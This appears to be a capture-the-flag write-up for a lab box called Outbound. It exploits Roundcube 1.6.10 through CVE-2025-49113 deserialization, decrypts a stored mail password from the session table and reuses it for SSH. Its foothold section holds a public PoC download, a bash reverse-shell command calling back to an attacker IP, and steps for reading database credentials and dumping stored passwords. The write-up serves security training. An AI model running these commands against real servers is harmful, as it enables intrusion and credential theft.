Post

Outbound

A Roundcube 1.6.10 webmail instance reached via a fuzzed vhost is exploited with provided credentials through CVE-2025-49113 — an unvalidated _from parameter that triggers PHP object deserialization for RCE — and a reversibly-encrypted password stored in the Roundcube session table is recovered with the app's own decrypt.sh to pivot to a user over SSH.

Outbound

Overview

Outbound is an easy-difficulty Linux box built around an assumed-breach scenario: you are handed Roundcube webmail credentials and have to turn them into code execution. The webmail runs Roundcube 1.6.10, vulnerable to CVE-2025-49113 — a post-authentication PHP object deserialization bug in the settings upload handler — which gives a shell as www-data. From there the Roundcube database stores another user’s mail password in a reversible format that the application’s own helper script decrypts, and that password is reused for SSH. This post covers recon through the user flag.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Named CVE-2025-49113 Roundcube deserialization RCE is the whole foothold, followed by realistic reversible-password recovery via the app’s own decrypt helper; CVE dominates.

Recon

PortServiceNotes
22/tcpOpenSSH 9.6p1Ubuntu
80/tcpnginx 1.24.0redirects to outbound.htb
1
nmap -sC -sV 10.10.10.10

Two ports. Port 80 redirects to http://outbound.htb/, so add the domain to /etc/hosts:

1
echo "10.10.10.10 outbound.htb" | sudo tee -a /etc/hosts

The root of outbound.htb is just the default nginx welcome page — no obvious application — so the next step is virtual-host enumeration.

Enumeration

Fuzz for subdomains using the Host header:

1
2
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -H "Host: FUZZ.outbound.htb" -u http://outbound.htb -mc 200

This returns mail.outbound.htb. Add it to /etc/hosts alongside the base domain and browse to it — it serves a Roundcube Webmail login form. The provided assumed-breach credentials (tyler:LhKL1o9Nm3X2) log in successfully. The inbox is empty, but the About dialog reveals the version: Roundcube 1.6.10.

Roundcube ≤1.6.10 is affected by CVE-2025-49113: the _from parameter in the settings image-upload handler (program/actions/settings/upload.php) is not validated, so a crafted serialized PHP object is passed to unserialize(). With the default-bundled PEAR / Crypt_GPG classes available as a gadget chain, an authenticated user can reach __destruct() and execute arbitrary commands — post-auth RCE.

Foothold

1 — RCE via CVE-2025-49113. Start a listener, then run the public PoC with the working credentials and a reverse-shell command:

1
nc -lvnp 4444
1
2
wget https://raw.githubusercontent.com/fearsoff-org/CVE-2025-49113/refs/heads/main/CVE-2025-49113.php
php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'"

The PoC fetches a CSRF token, authenticates, injects the serialized object, and forces deserialization. The listener catches a shell as www-data; upgrade it:

1
script /dev/null -c bash

2 — Recover a user password from the Roundcube DB. Roundcube’s config holds the MySQL connection string in plaintext:

1
2
cat /var/www/html/roundcube/config/config.inc.php
# $config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';

Roundcube stores each user’s IMAP password in the PHP session so it can reconnect to the mail backend — encrypted, but reversibly, with a static DES key from the config. Dump the session table and decode the base64 blobs:

1
2
mysql -u roundcube -pRCDBPass2025 roundcube -e "select vars from session;"
echo '<base64_session_blob>' | base64 -d

One session belongs to jacob and contains password|s:32:"6h0Viri9COcVteO5TRZd3A1efRORYrub". Roundcube ships its own decryptor, which uses the config’s DES key:

1
2
find /var/www/html/roundcube -name decrypt.sh 2>/dev/null
/var/www/html/roundcube/bin/decrypt.sh 6h0Viri9COcVteO5TRZd3A1efRORYrub

This prints Jacob’s plaintext password.

3 — Reuse for SSH. The recovered password is reused on the host, so it authenticates over SSH:

User flag

1
2
cat /home/jacob/user.txt
# [redacted]

Shell as jacob and the user flag are ours.

Privilege escalation (sudo below / CVE-2025-27591) is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.